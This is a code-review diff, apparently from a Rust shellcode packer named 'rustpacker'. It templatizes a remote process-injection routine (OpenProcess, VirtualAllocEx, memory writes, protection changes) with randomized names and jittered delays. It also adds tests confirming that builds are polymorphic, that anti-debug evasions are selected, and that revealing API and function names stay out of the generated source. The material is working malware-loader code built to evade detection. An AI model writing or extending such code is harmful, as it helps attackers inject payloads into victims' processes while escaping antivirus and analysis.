|
||||
pause(3000);
|
||||
{{FN_PAUSE}}(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
@@ -48,20 +52,20 @@ fn wipe(buf: &mut Vec<u8>) {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
|
||||
unsafe {
|
||||
let h_process = match OpenProcess(PROCESS_ALL_ACCESS, false, tar as u32) {
|
||||
Ok(h) => h,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
pause(150);
|
||||
{{FN_PAUSE}}({{JITTER_1}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let buf_len = buf.len();
|
||||
let result_ptr = VirtualAllocEx(h_process, None, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
pause(200);
|
||||
{{FN_PAUSE}}({{JITTER_2}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut byteswritten = 0;
|
||||
@@ -74,7 +78,7 @@ fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
);
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(150);
|
||||
{{FN_PAUSE}}({{JITTER_3}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_perms = PAGE_READWRITE;
|
||||
@@ -86,7 +90,7 @@ fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
&mut old_perms,
|
||||
);
|
||||
|
||||
pause(100);
|
||||
{{FN_PAUSE}}({{JITTER_4}});
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
@@ -115,10 +119,10 @@ fn main() {
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
let list: Vec<usize> = boxboxbox(tar);
|
||||
let list: Vec<usize> = {{FN_FIND_PID}}(tar);
|
||||
if !list.is_empty() {
|
||||
for i in &list {
|
||||
enhance(vec.clone(), *i);
|
||||
{{FN_INJECT}}(vec.clone(), *i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use rustpacker::order::{Order, OutputFormat};
|
||||
use rustpacker::polymorph::BuildSeed;
|
||||
use rustpacker::puzzle;
|
||||
|
||||
fn write_noop_shellcode() -> PathBuf {
|
||||
let scratch = PathBuf::from("target").join("byte_diff_noop.bin");
|
||||
std::fs::create_dir_all(scratch.parent().unwrap()).expect("mkdir target");
|
||||
std::fs::write(&scratch, [0xC3u8]).expect("write noop shellcode");
|
||||
scratch
|
||||
}
|
||||
|
||||
fn assemble_with_seed(seed: u64) -> PathBuf {
|
||||
let shellcode = write_noop_shellcode();
|
||||
let order = Order {
|
||||
shellcode_path: shellcode,
|
||||
format: OutputFormat::Exe,
|
||||
encryption_id: "xor".to_string(),
|
||||
injection_id: "syscrt".to_string(),
|
||||
evasions: vec![
|
||||
"anti_debug_check_remote".to_string(),
|
||||
"anti_debug_process_debug_port".to_string(),
|
||||
"anti_debug_vectored_int3".to_string(),
|
||||
],
|
||||
params: HashMap::new(),
|
||||
output: None,
|
||||
sideload: None,
|
||||
seed: BuildSeed(seed),
|
||||
};
|
||||
puzzle::assemble(order)
|
||||
}
|
||||
|
||||
fn read_main(folder: &PathBuf) -> String {
|
||||
std::fs::read_to_string(folder.join("src").join("main.rs")).expect("read main.rs")
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn same_seed_produces_identical_main_rs() {
|
||||
let a = assemble_with_seed(0xDEAD_BEEF_DEAD_BEEF);
|
||||
let b = assemble_with_seed(0xDEAD_BEEF_DEAD_BEEF);
|
||||
let main_a = read_main(&a);
|
||||
let main_b = read_main(&b);
|
||||
assert_eq!(main_a, main_b,
|
||||
"same seed produced different main.rs; polymorph reproducibility broken");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn different_seeds_produce_different_main_rs() {
|
||||
let a = assemble_with_seed(0x1111_1111_1111_1111);
|
||||
let b = assemble_with_seed(0x2222_2222_2222_2222);
|
||||
let main_a = read_main(&a);
|
||||
let main_b = read_main(&b);
|
||||
assert_ne!(main_a, main_b,
|
||||
"different seeds produced identical main.rs; polymorph layer not engaged");
|
||||
|
||||
let diff_lines: usize = main_a.lines()
|
||||
.zip(main_b.lines())
|
||||
.filter(|(x, y)| x != y)
|
||||
.count();
|
||||
assert!(diff_lines >= 20,
|
||||
"expected at least 20 differing lines between distinct-seed builds, got {diff_lines}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn forbidden_plaintext_not_in_main_rs() {
|
||||
const FORBIDDEN: &[&str] = &[
|
||||
"CheckRemoteDebuggerPresent",
|
||||
"NtQueryInformationProcess",
|
||||
"GetComputerNameExW",
|
||||
"AddVectoredExceptionHandler",
|
||||
"RemoveVectoredExceptionHandler",
|
||||
"SetUnhandledExceptionFilter",
|
||||
"boxboxbox",
|
||||
"evasion_anti_debug_check_remote",
|
||||
"evasion_anti_debug_debug_port",
|
||||
"evasion_anti_debug_teb",
|
||||
"evasion_anti_debug_vectored_int3",
|
||||
"evasion_domain_pin",
|
||||
];
|
||||
let folder = assemble_with_seed(0x4242_4242_4242_4242);
|
||||
let body = read_main(&folder);
|
||||
let mut leaks = Vec::new();
|
||||
for needle in FORBIDDEN {
|
||||
if body.contains(needle) {
|
||||
leaks.push(*needle);
|
||||
}
|
||||
}
|
||||
assert!(leaks.is_empty(),
|
||||
"forbidden plaintext strings present in generated main.rs: {leaks:?}");
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
use rustpacker::polymorph::{BuildSeed, Polymorph};
|
||||
|
||||
#[test]
|
||||
fn same_seed_same_idents() {
|
||||
let mut a = Polymorph::from_seed(BuildSeed(0xDEADBEEF));
|
||||
let mut b = Polymorph::from_seed(BuildSeed(0xDEADBEEF));
|
||||
for _ in 0..16 {
|
||||
assert_eq!(a.random_ident("fn"), b.random_ident("fn"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn different_seeds_different_idents() {
|
||||
let mut a = Polymorph::from_seed(BuildSeed(1));
|
||||
let mut b = Polymorph::from_seed(BuildSeed(2));
|
||||
let a_ids: Vec<_> = (0..16).map(|_| a.random_ident("fn")).collect();
|
||||
let b_ids: Vec<_> = (0..16).map(|_| b.random_ident("fn")).collect();
|
||||
assert_ne!(a_ids, b_ids);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn random_ident_is_valid_rust_ident() {
|
||||
let mut p = Polymorph::from_seed(BuildSeed(42));
|
||||
for _ in 0..256 {
|
||||
let id = p.random_ident("x");
|
||||
let first = id.chars().next().unwrap();
|
||||
assert!(first.is_ascii_lowercase() || first == '_', "ident: {id}");
|
||||
assert!(id.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_'),
|
||||
"ident: {id}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn random_ident_no_reserved_words() {
|
||||
let mut p = Polymorph::from_seed(BuildSeed(42));
|
||||
for _ in 0..1024 {
|
||||
let id = p.random_ident("x");
|
||||
assert!(!matches!(id.as_str(),
|
||||
"fn" | "let" | "mut" | "pub" | "use" | "mod" | "as" | "if" | "in" |
|
||||
"for" | "while" | "loop" | "match" | "ref" | "self" | "Self" | "super" |
|
||||
"type" | "trait" | "impl" | "struct" | "enum" | "where" | "true" | "false" |
|
||||
"static" | "const" | "extern" | "unsafe" | "move" | "box" | "do" | "yield"
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn random_ident_unique_within_polymorph() {
|
||||
let mut p = Polymorph::from_seed(BuildSeed(42));
|
||||
let mut seen = std::collections::HashSet::new();
|
||||
for _ in 0..512 {
|
||||
let id = p.random_ident("x");
|
||||
assert!(seen.insert(id.clone()), "duplicate ident: {id}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn jitter_within_range() {
|
||||
let mut p = Polymorph::from_seed(BuildSeed(7));
|
||||
for _ in 0..256 {
|
||||
let j = p.jitter(200, 25);
|
||||
assert!(j >= 150 && j <= 250, "jitter out of range: {j}");
|
||||
assert_eq!(j % 25, 0, "jitter not quantised to 25ms: {j}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn xor_bytes_literal_roundtrip() {
|
||||
let p = Polymorph::from_seed(BuildSeed(99));
|
||||
let lit = p.xor_bytes_literal(b"hello\0", 0x42);
|
||||
// Format: "[0x.., 0x.., ...]"
|
||||
assert!(lit.starts_with('[') && lit.ends_with(']'));
|
||||
assert_eq!(lit.matches(", ").count(), 5); // 6 bytes -> 5 commas
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pick_is_deterministic() {
|
||||
let mut a = Polymorph::from_seed(BuildSeed(123));
|
||||
let mut b = Polymorph::from_seed(BuildSeed(123));
|
||||
let choices = ["red", "green", "blue", "yellow"];
|
||||
for _ in 0..32 {
|
||||
assert_eq!(a.pick(&choices), b.pick(&choices));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user